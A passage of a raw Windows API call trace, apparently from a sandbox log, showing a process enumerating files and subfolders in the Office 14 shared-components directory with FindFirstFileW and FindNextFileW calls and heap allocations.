ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xd82ba220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1092c00, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x2e8da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWDAT.DLL", cAlternateFileName="")) returned 1 [0218.324] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e0c9f00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xcf0c7d40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8e0c9f00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x4dba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWSS.DLL", cAlternateFileName="")) returned 1 [0218.324] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd82e0380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x7a998, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEXBE.DLL", cAlternateFileName="")) returned 1 [0218.324] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67c38700, ftCreationTime.dwHighDateTime=0x1cbc9fc, ftLastAccessTime.dwLowDateTime=0xe5d21520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x67c38700, ftLastWriteTime.dwHighDateTime=0x1cbc9fc, nFileSizeHigh=0x0, nFileSizeLow=0x5e158, dwReserved0=0x0, dwReserved1=0x0, cFileName="ATLCONV.DLL", cAlternateFileName="")) returned 1 [0218.324] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb10f7500, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0xda5b0540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb10f7500, ftLastWriteTime.dwHighDateTime=0x1cbe56c, nFileSizeHigh=0x0, nFileSizeLow=0x4d67b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Csi.dll", cAlternateFileName="")) returned 1 [0218.324] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef87d800, ftCreationTime.dwHighDateTime=0x1cb8cce, ftLastAccessTime.dwLowDateTime=0xda5d66a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xef87d800, ftLastWriteTime.dwHighDateTime=0x1cb8cce, nFileSizeHigh=0x0, nFileSizeLow=0x1b3980, dwReserved0=0x0, dwReserved1=0x0, cFileName="CsiSoap.dll", cAlternateFileName="")) returned 1 [0218.325] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cultures", cAlternateFileName="")) returned 1 [0218.325] GetProcessHeap () returned 0x560000 [0218.325] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0218.325] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0218.326] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.326] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbc7d00, ftCreationTime.dwHighDateTime=0x1cbe3e3, ftLastAccessTime.dwLowDateTime=0xcef24e20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cbc7d00, ftLastWriteTime.dwHighDateTime=0x1cbe3e3, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 1 [0218.326] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbc7d00, ftCreationTime.dwHighDateTime=0x1cbe3e3, ftLastAccessTime.dwLowDateTime=0xcef24e20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cbc7d00, ftLastWriteTime.dwHighDateTime=0x1cbe3e3, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 0 [0218.326] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0218.326] GetProcessHeap () returned 0x560000 [0218.326] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0218.326] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520efa00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xd83064e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x520efa00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x7eb48, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPSRV.DLL", cAlternateFileName="")) returned 1 [0218.327] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ebd7300, ftCreationTime.dwHighDateTime=0x1cba5c3, ftLastAccessTime.dwLowDateTime=0xcef710e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3ebd7300, ftLastWriteTime.dwHighDateTime=0x1cba5c3, nFileSizeHigh=0x0, nFileSizeLow=0x21d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXP_PDF.DLL", cAlternateFileName="")) returned 1 [0218.327] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5bf6900, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xcf5b0aa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5bf6900, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x11578, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXP_XPS.DLL", cAlternateFileName="")) returned 1 [0218.327] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd66e7600, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xe572de20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd66e7600, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x26560, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLTLDR.EXE", cAlternateFileName="")) returned 1 [0218.327] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7bf3f00, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x53907610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7bf3f00, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x417360, dwReserved0=0x0, dwReserved1=0x0, cFileName="IACOM2.DLL", cAlternateFileName="")) returned 1 [0218.327] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x31d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="LICLUA.EXE", cAlternateFileName="")) returned 1 [0218.328] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc821f600, ftCreationTime.dwHighDateTime=0x1cbdfb3, ftLastAccessTime.dwLowDateTime=0xd776b9a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc821f600, ftLastWriteTime.dwHighDateTime=0x1cbdfb3, nFileSizeHigh=0x0, nFileSizeLow=0x183d780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.DLL", cAlternateFileName="")) returned 1 [0218.328] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee94c400, ftCreationTime.dwHighDateTime=0x1cb7007, ftLastAccessTime.dwLowDateTime=0xd6225500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xee94c400, ftLastWriteTime.dwHighDateTime=0x1cb7007, nFileSizeHigh=0x0, nFileSizeLow=0x73b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOICONS.EXE", cAlternateFileName="")) returned 1 [0218.328] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e15000, ftCreationTime.dwHighDateTime=0x1cbf3e5, ftLastAccessTime.dwLowDateTime=0xec32f3e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe5e15000, ftLastWriteTime.dwHighDateTime=0x1cbf3e5, nFileSizeHigh=0x0, nFileSizeLow=0x4529780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSORES.DLL", cAlternateFileName="")) returned 1 [0218.328] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4293d00, ftCreationTime.dwHighDateTime=0x1cbc468, ftLastAccessTime.dwLowDateTime=0xd77dddc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa4293d00, ftLastWriteTime.dwHighDateTime=0x1cbc468, nFileSizeHigh=0x0, nFileSizeLow=0x135f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoshext.dll", cAlternateFileName="")) returned 1 [0218.328] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc276d800, ftCreationTime.dwHighDateTime=0x1cab8aa, ftLastAccessTime.dwLowDateTime=0x6a050eb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc276d800, ftLastWriteTime.dwHighDateTime=0x1cab8aa, nFileSizeHigh=0x0, nFileSizeLow=0xdb50, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXEV.DLL", cAlternateFileName="")) returned 1 [0218.329] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x1d950, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXMLED.EXE", cAlternateFileName="")) returned 1 [0218.329] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0xdb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXMLMF.DLL", cAlternateFileName="")) returned 1 [0218.329] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3922200, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3922200, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x124980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPTLS.DLL", cAlternateFileName="")) returned 1 [0218.329] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d97a00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15d97a00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0xac370, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSOAP30.DLL", cAlternateFileName="")) returned 1 [0218.330] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8054ff00, ftCreationTime.dwHighDateTime=0x1cb7011, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8054ff00, ftLastWriteTime.dwHighDateTime=0x1cb7011, nFileSizeHigh=0x0, nFileSizeLow=0x1a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MUAUTH.CAB", cAlternateFileName="")) returned 1 [0218.330] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8054ff00, ftCreationTime.dwHighDateTime=0x1cb7011, ftLastAccessTime.dwLowDateTime=0xcf47ffa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8054ff00, ftLastWriteTime.dwHighDateTime=0x1cb7011, nFileSizeHigh=0x0, nFileSizeLow=0x6190, dwReserved0=0x0, dwReserved1=0x0, cFileName="MUOPTIN.DLL", cAlternateFileName="")) returned 1 [0218.330] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x161d5800, ftCreationTime.dwHighDateTime=0x1cbd856, ftLastAccessTime.dwLowDateTime=0xd63a22c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x161d5800, ftLastWriteTime.dwHighDateTime=0x1cbd856, nFileSizeHigh=0x0, nFileSizeLow=0x38d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oarpmany.exe", cAlternateFileName="")) returned 1 [0218.330] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f9d2900, ftCreationTime.dwHighDateTime=0x1cab9ac, ftLastAccessTime.dwLowDateTime=0xbe0f9da0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7f9d2900, ftLastWriteTime.dwHighDateTime=0x1cab9ac, nFileSizeHigh=0x0, nFileSizeLow=0x7568, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODBCMON.DLL", cAlternateFileName="")) returned 1 [0218.330] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 1 [0218.331] GetProcessHeap () returned 0x560000 [0218.331] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0218.331] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0218.335] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.336] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="ACCESS~1.EN-")) returned 1 [0218.337] GetProcessHeap () returned 0x560000 [0218.337] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0218.337] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*", lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bcc8 [0218.581] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.581] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa5fe940, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x15419830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.XML", cAlternateFileName="ACCESS~1.XML")) returned 1 [0218.582] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.XML", cAlternateFileName="ACCESS~2.XML")) returned 1 [0218.582] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0218.582] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0218.582] FindClose (in: hFindFile=0x65bcc8 | out: hFindFile=0x65bcc8) returned 1 [0218.585] GetProcessHeap () returned 0x560000 [0218.585] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0218.585] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Excel.en-us", cAlternateFileName="EXCEL~1.EN-")) returned 1 [0218.585] GetProcessHeap () returned 0x560000 [0218.585] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0218.585] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*", lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bcc8 [0218.585] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.586] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.XML", cAlternateFileName="")) returned 1 [0218.586] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, 